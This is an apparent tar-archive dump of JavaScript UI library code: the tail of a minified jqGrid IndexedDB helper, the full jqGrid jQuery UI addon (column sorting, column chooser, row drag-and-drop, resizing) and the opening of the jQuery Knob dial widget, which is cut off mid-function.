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"}grid.jqueryui.js000064400000053631151677266200007727 0ustar00/*jshint evil:true, eqeqeq:false, eqnull:true, devel:true */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base", "jquery-ui/dialog", "jquery-ui/draggable", "jquery-ui/droppable", "jquery-ui/resizable", "jquery-ui/sortable", "./addons/ui.multiselect" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) {/* ** * jqGrid addons using jQuery UI * Author: Mark Williams * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl-2.0.html * depends on jQuery UI **/ "use strict"; //module begin if ($.jgrid.msie() && $.jgrid.msiever()===8) { $.expr[":"].hidden = function(elem) { return elem.offsetWidth === 0 || elem.offsetHeight === 0 || elem.style.display === "none"; }; } // requiere load multiselect before grid $.jgrid._multiselect = false; if($.ui) { if ($.ui.multiselect ) { if($.ui.multiselect.prototype._setSelected) { var setSelected = $.ui.multiselect.prototype._setSelected; $.ui.multiselect.prototype._setSelected = function(item,selected) { var ret = setSelected.call(this,item,selected); if (selected && this.selectedList) { var elt = this.element; this.selectedList.find('li').each(function() { if ($(this).data('optionLink')) { $(this).data('optionLink').remove().appendTo(elt); } }); } return ret; }; } if($.ui.multiselect.prototype.destroy) { $.ui.multiselect.prototype.destroy = function() { this.element.show(); this.container.remove(); if ($.Widget === undefined) { $.widget.prototype.destroy.apply(this, arguments); } else { $.Widget.prototype.destroy.apply(this, arguments); } }; } $.jgrid._multiselect = true; } } $.jgrid.extend({ sortableColumns : function (tblrow) { return this.each(function (){ var ts = this, tid= $.jgrid.jqID( ts.p.id ), frozen = false; function start() { ts.p.disableClick = true; if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); frozen = true; } } function stop() { setTimeout(function () { ts.p.disableClick = false; if(frozen) { $(ts).jqGrid("setFrozenColumns"); frozen = false; } }, 50); } var sortable_opts = { "tolerance" : "pointer", "axis" : "x", "scrollSensitivity": "1", "items": '>th:not(:has(#jqgh_'+tid+'_cb'+',#jqgh_'+tid+'_rn'+',#jqgh_'+tid+'_subgrid),:hidden)', "cancel": ".sortable-disabled", "placeholder": { element: function(item) { var el = $(document.createElement(item[0].nodeName)) .addClass(item[0].className+" ui-sortable-placeholder ui-state-highlight") .removeClass("ui-sortable-helper")[0]; return el; }, update: function(self, p) { p.height(self.currentItem.innerHeight() - parseInt(self.currentItem.css('paddingTop')||0, 10) - parseInt(self.currentItem.css('paddingBottom')||0, 10)); p.width(self.currentItem.innerWidth() - parseInt(self.currentItem.css('paddingLeft')||0, 10) - parseInt(self.currentItem.css('paddingRight')||0, 10)); } }, "update": function(event, ui) { var p = $(ui.item).parent(), th = $(">th", p), colModel = ts.p.colModel, cmMap = {}, tid= ts.p.id+"_"; $.each(colModel, function(i) { cmMap[this.name]=i; }); var permutation = []; th.each(function() { var id = $(">div", this).get(0).id.replace(/^jqgh_/, "").replace(tid,""); if (cmMap.hasOwnProperty(id)) { permutation.push(cmMap[id]); } }); $(ts).jqGrid("remapColumns",permutation, true, true); if ($.jgrid.isFunction(ts.p.sortable.update)) { ts.p.sortable.update(permutation); } } }; if (ts.p.sortable.options) { $.extend(sortable_opts, ts.p.sortable.options); } else if ($.jgrid.isFunction(ts.p.sortable)) { ts.p.sortable = { "update" : ts.p.sortable }; } if (sortable_opts.start) { var s = sortable_opts.start; sortable_opts.start = function(e,ui) { start(); s.call(this,e,ui); }; } else { sortable_opts.start = start; } if (sortable_opts.stop) { var st = sortable_opts.stop; sortable_opts.stop = function(e,ui) { stop(); st.call(this,e,ui); }; } else { sortable_opts.stop = stop; } if (ts.p.sortable.exclude) { sortable_opts.items += ":not("+ts.p.sortable.exclude+")"; } var $e = tblrow.sortable(sortable_opts), dataObj = $e.data("sortable") || $e.data("uiSortable"); if (dataObj != null) { dataObj.data("sortable").floating = true; } }); }, columnChooser : function(opts) { var self = this, selector, select, colMap = {}, fixedCols = [], dopts, mopts, $dialogContent, multiselectData, listHeight, colModel = self.jqGrid("getGridParam", "colModel"), colNames = $.extend( [], self.jqGrid("getGridParam", "colNames")), getMultiselectWidgetData = function ($elem) { return ($.ui.multiselect.prototype && $elem.data($.ui.multiselect.prototype.widgetFullName || $.ui.multiselect.prototype.widgetName)) || $elem.data("ui-multiselect") || $elem.data("multiselect"); }, regional = $.jgrid.getRegional(this[0], 'col'); if ($("#colchooser_" + $.jgrid.jqID(self[0].p.id)).length) { return; } selector = $('<div id="colchooser_'+self[0].p.id+'" style="position:relative;overflow:hidden"><div><select multiple="multiple"></select></div></div>'); select = $('select', selector); function insert(perm,i,v) { var a, b; if(i>=0){ a = perm.slice(); b = a.splice(i,Math.max(perm.length-i,i)); if(i>perm.length) { i = perm.length; } a[i] = v; return a.concat(b); } return perm; } function call(fn, obj) { if (!fn) { return; } if (typeof fn === 'string') { if ($.fn[fn]) { $.fn[fn].apply(obj, $.makeArray(arguments).slice(2)); } } else if ($.jgrid.isFunction(fn)) { fn.apply(obj, $.makeArray(arguments).slice(2)); } } function resize_select() { var widgetData = getMultiselectWidgetData(select), $thisDialogContent = widgetData.container.closest(".ui-dialog-content"); if ($thisDialogContent.length > 0 && typeof $thisDialogContent[0].style === "object") { $thisDialogContent[0].style.width = ""; } else { $thisDialogContent.css("width", ""); // or just remove width style } widgetData.selectedList.height(Math.max(widgetData.selectedContainer.height() - widgetData.selectedActions.outerHeight() -1, 1)); widgetData.availableList.height(Math.max(widgetData.availableContainer.height() - widgetData.availableActions.outerHeight() -1, 1)); } opts = $.extend({ width : 400, height : 240, classname : null, groupHeaders : false, done : function(perm) { if (perm) { self.jqGrid("remapColumns", perm, true); } }, /* msel is either the name of a ui widget class that extends a multiselect, or a function that supports creating a multiselect object (with no argument, or when passed an object), and destroying it (when passed the string "destroy"). */ msel : "multiselect", /* "msel_opts" : {}, */ /* dlog is either the name of a ui widget class that behaves in a dialog-like way, or a function, that supports creating a dialog (when passed dlog_opts) or destroying a dialog (when passed the string "destroy") */ dlog : "dialog", dialog_opts : { minWidth: 470, dialogClass: "ui-jqdialog" }, /* dlog_opts is either an option object to be passed to "dlog", or (more likely) a function that creates the options object. The default produces a suitable options object for ui.dialog */ dlog_opts : function(options) { var buttons = {}; buttons[options.bSubmit] = function() { options.apply_perm(); options.cleanup(false); }; buttons[options.bCancel] = function() { options.cleanup(true); }; return $.extend(true, { buttons: buttons, close: function() { options.cleanup(true); }, modal: options.modal || false, resizable: options.resizable || true, width: options.width + 70, resize: resize_select }, options.dialog_opts || {}); }, /* Function to get the permutation array, and pass it to the "done" function */ apply_perm : function() { var perm = []; $('option',select).each(function() { if ($(this).is(":selected")) { self.jqGrid("showCol", colModel[this.value].name); } else { self.jqGrid("hideCol", colModel[this.value].name); } }); //fixedCols.slice(0); $('option[selected]',select).each(function() { if(this.selected) { perm.push(parseInt(this.value,10)); } }); $.each(perm, function() { delete colMap[colModel[parseInt(this,10)].name]; }); $.each(colMap, function() { var ti = parseInt(this,10); perm = insert(perm,ti,ti); }); if (opts.done) { opts.done.call(self, perm); } self.jqGrid("setGridWidth", self[0].p.width, self[0].p.shrinkToFit); }, /* Function to cleanup the dialog, and select. Also calls the done function with no permutation (to indicate that the columnChooser was aborted */ cleanup : function(calldone) { call(opts.dlog, selector, 'destroy'); call(opts.msel, select, 'destroy'); selector.remove(); if (calldone && opts.done) { opts.done.call(self); } }, msel_opts : { dividerLocation : 0.5 } }, regional, opts || {} ); if($.ui) { if ($.ui.multiselect && $.ui.multiselect.defaults) { if (!$.jgrid._multiselect) { // should be in language file alert("Multiselect plugin loaded after jqGrid. Please load the plugin before the jqGrid!"); return; } // ??? the next line uses $.ui.multiselect.defaults which will be typically undefined opts.msel_opts = $.extend($.ui.multiselect.defaults, opts.msel_opts); } } if( self.jqGrid('isGroupHeaderOn') && opts.groupHeaders) { var gh_len = self[0].p.groupHeader.length, // use the last set one groupH = self[0].p.groupHeader[gh_len-1]; for(var ij=0;ij<colNames.length; ij++){ var iCol = $.jgrid.inColumnHeader( colModel[ij].name, groupH.groupHeaders); if(iCol>=0) { colNames[ij] = groupH.groupHeaders[iCol].titleText + "::" + colNames[ij]; for(var jj= 1; jj<= groupH.groupHeaders[iCol].numberOfColumns-1; jj++) { colNames[ij+jj] = groupH.groupHeaders[iCol].titleText + "::" + colNames[ij+jj]; } ij = ij+groupH.groupHeaders[iCol].numberOfColumns-1; } } } if (opts.caption) { selector.attr("title", opts.caption); } if (opts.classname) { selector.addClass(opts.classname); select.addClass(opts.classname); } if (opts.width) { $(">div",selector).css({width: opts.width,margin:"0 auto"}); select.css("width", opts.width); } if (opts.height) { $(">div",selector).css("height", opts.height); select.css("height", opts.height - 10); } select.empty(); $.each(colModel, function(i) { colMap[this.name] = i; if (this.hidedlg) { if (!this.hidden) { fixedCols.push(i); } return; } select.append("<option value='"+i+"' "+ (this.hidden?"":"selected='selected'")+">"+$.jgrid.stripHtml(colNames[i])+"</option>"); }); dopts = $.jgrid.isFunction(opts.dlog_opts) ? opts.dlog_opts.call(self, opts) : opts.dlog_opts; call(opts.dlog, selector, dopts); mopts = $.jgrid.isFunction(opts.msel_opts) ? opts.msel_opts.call(self, opts) : opts.msel_opts; call(opts.msel, select, mopts); // fix height of elements of the multiselect widget $dialogContent = $("#colchooser_" + $.jgrid.jqID(self[0].p.id)); // fix fontsize var fs = $('.ui-jqgrid').css('font-size') || '11px'; $dialogContent.parent().css("font-size",fs); $dialogContent.css({ margin: "auto" }); $dialogContent.find(">div").css({ width: "100%", height: "100%", margin: "auto" }); multiselectData = getMultiselectWidgetData(select); multiselectData.container.css({ width: "100%", height: "100%", margin: "auto" }); multiselectData.selectedContainer.css({ width: multiselectData.options.dividerLocation * 100 + "%", height: "100%", margin: "auto", boxSizing: "border-box" }); multiselectData.availableContainer.css({ width: (100 - multiselectData.options.dividerLocation * 100) + "%", height: "100%", margin: "auto", boxSizing: "border-box" }); // set height for both selectedList and availableList multiselectData.selectedList.css("height", "auto"); multiselectData.availableList.css("height", "auto"); listHeight = Math.max(multiselectData.selectedList.height(), multiselectData.availableList.height()); listHeight = Math.min(listHeight, $(window).height()); multiselectData.selectedList.css("height", listHeight); multiselectData.availableList.css("height", listHeight); resize_select(); }, sortableRows : function (opts) { // Can accept all sortable options and events return this.each(function(){ var $t = this; if(!$t.grid) { return; } // Currently we disable a treeGrid sortable if($t.p.treeGrid) { return; } if($.fn.sortable) { opts = $.extend({ "cursor":"move", "axis" : "y", "items": " > .jqgrow" }, opts || {}); if(opts.start && $.jgrid.isFunction(opts.start)) { opts._start_ = opts.start; delete opts.start; } else {opts._start_=false;} if(opts.update && $.jgrid.isFunction(opts.update)) { opts._update_ = opts.update; delete opts.update; } else {opts._update_ = false;} opts.start = function(ev,ui) { $(ui.item).css("border-width","0"); $("td",ui.item).each(function(i){ this.style.width = $t.grid.cols[i].style.width; }); if($t.p.subGrid) { var subgid = $(ui.item).attr("id"); try { $($t).jqGrid('collapseSubGridRow',subgid); } catch (e) {} } if(opts._start_) { opts._start_.apply(this,[ev,ui]); } }; opts.update = function (ev,ui) { $(ui.item).css("border-width",""); if($t.p.rownumbers === true) { $("td.jqgrid-rownum",$t.rows).each(function( i ){ $(this).html( i+1+(parseInt($t.p.page,10)-1)*parseInt($t.p.rowNum,10) ); }); } if(opts._update_) { opts._update_.apply(this,[ev,ui]); } }; $($t).find("tbody").first().sortable(opts); $("tbody",$t).first().find(" > .jqgrow").disableSelection(); } }); }, gridDnD : function(opts) { return this.each(function(){ var $t = this, i, cn; if(!$t.grid) { return; } // Currently we disable a treeGrid drag and drop if($t.p.treeGrid) { return; } if(!$.fn.draggable || !$.fn.droppable) { return; } function updateDnD () { var datadnd = $.data($t,"dnd"); $("tr.jqgrow:not(.ui-draggable)",$t).draggable($.jgrid.isFunction(datadnd.drag) ? datadnd.drag.call($($t),datadnd) : datadnd.drag); } var appender = "<table id='jqgrid_dnd' class='ui-jqgrid-dnd'></table>"; if($("#jqgrid_dnd")[0] === undefined) { $('body').append(appender); } if(typeof opts === 'string' && opts === 'updateDnD' && $t.p.jqgdnd===true) { updateDnD(); return; } var tid; opts = $.extend({ "drag" : function (opts) { return $.extend({ start : function (ev, ui) { var i, subgid; // if we are in subgrid mode try to collapse the node if($t.p.subGrid) { subgid = $(ui.helper).attr("id"); try { $($t).jqGrid('collapseSubGridRow',subgid); } catch (e) {} } // hack // drag and drop does not insert tr in table, when the table has no rows // we try to insert new empty row on the target(s) for (i=0;i<$.data($t,"dnd").connectWith.length;i++){ if($($.data($t,"dnd").connectWith[i]).jqGrid('getGridParam','reccount') === 0 ){ $($.data($t,"dnd").connectWith[i]).jqGrid('addRowData','jqg_empty_row',{}); } } ui.helper.addClass("ui-state-highlight"); $("td",ui.helper).each(function(i) { this.style.width = $t.grid.headers[i].width+"px"; }); if(opts.onstart && $.jgrid.isFunction(opts.onstart) ) { opts.onstart.call($($t),ev,ui); } }, stop :function(ev,ui) { var i, ids; if(ui.helper.dropped && !opts.dragcopy) { ids = $(ui.helper).attr("id"); if(ids === undefined) { ids = $(this).attr("id"); } $($t).jqGrid('delRowData',ids ); } // if we have a empty row inserted from start event try to delete it for (i=0;i<$.data($t,"dnd").connectWith.length;i++){ $($.data($t,"dnd").connectWith[i]).jqGrid('delRowData','jqg_empty_row'); } if(opts.onstop && $.jgrid.isFunction(opts.onstop) ) { opts.onstop.call($($t),ev,ui); } } },opts.drag_opts || {}); }, "drop" : function (opts) { return $.extend({ accept: function(d) { if (!$(d).hasClass('jqgrow')) { return d;} tid = $(d).closest("table.ui-jqgrid-btable"); var target = $(this).find('table.ui-jqgrid-btable').first()[0]; if(tid.length > 0 && $.data(tid[0],"dnd") !== undefined) { var cn = $.data(tid[0],"dnd").connectWith; return $.inArray('#'+$.jgrid.jqID(target.id),cn) !== -1 ? true : false; } return false; }, drop: function(ev, ui) { if (!$(ui.draggable).hasClass('jqgrow')) { return; } var accept = $(ui.draggable).attr("id"), getdata = ui.draggable.parent().parent().jqGrid('getRowData',accept), keysd = [], target = $(this).find('table.ui-jqgrid-btable').first()[0]; if($.isPlainObject( getdata)) { keysd = Object.keys(getdata); } if(!opts.dropbyname) { var j, tmpdata = {}, nm, ki=0; var dropmodel = $("#"+$.jgrid.jqID(target.id)).jqGrid('getGridParam','colModel'); try { for(j=0;j<dropmodel.length;j++) { nm = dropmodel[j].name; if( !(nm === 'cb' || nm === 'rn' || nm === 'subgrid' || nm === 'sc' )) { if (keysd[ki] !== undefined) { tmpdata[nm] = getdata[keysd[ki]]; } ki++; } } getdata = tmpdata; } catch (e) {} } ui.helper.dropped = true; if($.data(tid[0],"dnd").beforedrop && $.jgrid.isFunction($.data(tid[0],"dnd").beforedrop) ) { //parameters to this callback - event, element, data to be inserted, sender, reciever // should return object which will be inserted into the reciever var datatoinsert = $.data(tid[0],"dnd").beforedrop.call(target,ev,ui,getdata,$(tid[0]),$(target)); if (datatoinsert !== undefined && datatoinsert !== null && typeof datatoinsert === "object") { getdata = datatoinsert; } } if(ui.helper.dropped) { var grid; if(opts.autoid) { if($.jgrid.isFunction(opts.autoid)) { grid = opts.autoid.call(target,getdata); } else { grid = Math.ceil(Math.random()*1000); grid = opts.autoidprefix+grid; } } // NULL is interpreted as undefined while null as object $("#"+$.jgrid.jqID(target.id)).jqGrid('addRowData',grid,getdata,opts.droppos); } if(opts.ondrop && $.jgrid.isFunction(opts.ondrop) ) { opts.ondrop.call(target,ev,ui, getdata); } }}, opts.drop_opts || {}); }, "onstart" : null, "onstop" : null, "beforedrop": null, "ondrop" : null, "drop_opts" : { "activeClass": "ui-state-active", "hoverClass": "ui-state-hover", "tolerance": "intersect" }, "drag_opts" : { "revert": "invalid", "helper": "clone", "cursor": "move", "appendTo" : "#jqgrid_dnd", "zIndex": 5000 }, "dragcopy": false, "dropbyname" : false, "droppos" : "first", "autoid" : true, "autoidprefix" : "dnd_" }, opts || {}); if(!opts.connectWith) { return; } opts.connectWith = opts.connectWith.split(","); opts.connectWith = $.map(opts.connectWith,function(n){return $.jgrid.trim(n);}); $.data($t,"dnd",opts); if($t.p.reccount !== 0 && !$t.p.jqgdnd) { updateDnD(); } $t.p.jqgdnd = true; for (i=0;i<opts.connectWith.length;i++){ cn =opts.connectWith[i]; $(cn).closest('.ui-jqgrid-bdiv').droppable($.jgrid.isFunction(opts.drop) ? opts.drop.call($($t),opts) : opts.drop); } }); }, gridResize : function(opts) { return this.each(function(){ var $t = this, gID = $.jgrid.jqID($t.p.id), req; if(!$t.grid || !$.fn.resizable) { return; } opts = $.extend( {}, { resizeclass : "ui-resizable-icon" }, opts || {} ); if(opts.alsoResize ) { opts._alsoResize_ = opts.alsoResize; delete opts.alsoResize; } else { opts._alsoResize_ = false; } if(opts.stop && $.jgrid.isFunction(opts.stop)) { opts._stop_ = opts.stop; delete opts.stop; } else { opts._stop_ = false; } var class_to_add = opts.resizeclass; if($t.p.styleUI !== "jQueryUI") { if(opts.handles) { if(opts.handles.se) { class_to_add += " " +opts.handles.se.replace(".",""); } else { opts.handles.se = "."+class_to_add; } } else { opts.handles = {}; var test = class_to_add.split(' '); opts.handles.se = "."+test[0]; } class_to_add += " ui-resizable-se ui-resizable-handle"; $("#gbox_"+gID).append('<span class="'+class_to_add+'"></span>'); } opts.stop = function (ev, ui) { $($t).jqGrid('setGridParam',{height:$("#gview_"+gID+" .ui-jqgrid-bdiv").height()}); $($t).jqGrid('setGridWidth',ui.size.width,opts.shrinkToFit); if(opts._stop_) { opts._stop_.call($t,ev,ui); } if($t.p.caption) { $("#gbox_"+ gID).css({ 'height': 'auto' }); } if($t.p.frozenColumns) { if (req ) clearTimeout(req); req = setTimeout(function(){ if (req ) clearTimeout(req); $("#" + gID).jqGrid("destroyFrozenColumns"); $("#" + gID).jqGrid("setFrozenColumns"); }); } }; if(opts._alsoResize_) { opts.alsoResize = "#gview_"+gID+" .ui-jqgrid-bdiv,"+opts._alsoResize_ ; } else { opts.alsoResize = $(".ui-jqgrid-bdiv","#gview_"+gID); } delete opts._alsoResize_; $("#gbox_"+gID).resizable(opts); }); } }); //module end })); jquery.knob.js000064400000064623151677316570007406 0ustar00/*!jQuery Knob*/ /** * Downward compatible, touchable dial * * Version: 1.2.11 * Requires: jQuery v1.7+ * * Copyright (c) 2012 Anthony Terrien * Under MIT License (http://www.opensource.org/licenses/mit-license.php) * * Thanks to vor, eskimoblood, spiffistan, FabrizioC */ (function (factory) { if (typeof exports === 'object') { // CommonJS module.exports = factory(require('jquery')); } else if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else { // Browser globals factory(jQuery); } }(function ($) { /** * Kontrol library */ "use strict"; /** * Definition of globals and core */ var k = {}, // kontrol max = Math.max, min = Math.min; k.c = {}; k.c.d = $(document); k.c.t = function (e) { return e.originalEvent.touches.length - 1; }; /** * Kontrol Object * * Definition of an abstract UI control * * Each concrete component must call this one. * <code> * k.o.call(this); * </code> */ k.o = function () { var s = this; this.o = null; // array of options this.$ = null; // jQuery wrapped element this.i = null; // mixed HTMLInputElement or array of HTMLInputElement this.g = null; // deprecated 2D graphics context for 'pre-rendering' this.v = null; // value ; mixed array or integer this.cv = null; // change value ; not commited value this.x = 0; // canvas x position this.y = 0; // canvas y position this.w = 0; // canvas width this.h = 0; // canvas height this.$c = null; // jQuery canvas element this.c = null; // rendered canvas context this.t = 0; // touches index this.isInit = false; this.fgColor = null; // main color this.pColor = null; // previous color this.dH = null; // draw hook this.cH = null; // change hook this.eH = null; // cancel hook this.rH = null; // release hook this.scale = 1; // scale factor this.relative = false; this.relativeWidth = false; this.relativeHeight = false; this.$div = null; // component div this.run = function () { var cf = function (e, conf) { var k; for (k in conf) { s.o[k] = conf[k]; } s._carve().init(); s._configure() ._draw(); }; if (this.$.data('kontroled')) return; this.$.data('kontroled', true); this.extend(); this.o = $.extend({ // Config min: this.$.data('min') !== undefined ? this.$.data('min') : 0, max: this.$.data('max') !== undefined ? this.$.data('max') : 100, stopper: true, readOnly: this.$.data('readonly') || (this.$.attr('readonly') === 'readonly'), // UI cursor: this.$.data('cursor') === true && 30 || this.$.data('cursor') || 0, thickness: this.$.data('thickness') && Math.max(Math.min(this.$.data('thickness'), 1), 0.01) || 0.35, lineCap: this.$.data('linecap') || 'butt', width: this.$.data('width') || 200, height: this.$.data('height') || 200, displayInput: this.$.data('displayinput') == null || this.$.data('displayinput'), displayPrevious: this.$.data('displayprevious'), fgColor: this.$.data('fgcolor') || '#87CEEB', inputColor: this.$.data('inputcolor'), font: this.$.data('font') || 'Arial', fontWeight: this.$.data('font-weight') || 'bold', inline: false, step: this.$.data('step') || 1, rotation: this.$.data('rotation'), // Hooks draw: null, // function () {} change: null, // function (value) {} cancel: null, // function () {} release: null, // function (value) {} // Output formatting, allows to add unit: %, ms ... format: function(v) { return v; }, parse: function (v) { return parseFloat(v); } }, this.o ); // finalize options this.o.flip = this.o.rotation === 'anticlockwise' || this.o.rotation === 'acw'; if (!this.o.inputColor) { this.o.inputColor = this.o.fgColor; } // routing value if (this.$.is('fieldset')) { // fieldset = array of integer this.v = {}; this.i = this.$.find('input'); this.i.each(function(k) { var $this = $(this); s.i[k] = $this; s.v[k] = s.o.parse($this.val()); $this.bind( 'change blur', function () { var val = {}; val[k] = $this.val(); s.val(s._validate(val)); } ); }); this.$.find('legend').remove(); } else { // input = integer this.i = this.$; this.v = this.o.parse(this.$.val()); this.v === '' && (this.v = this.o.min); 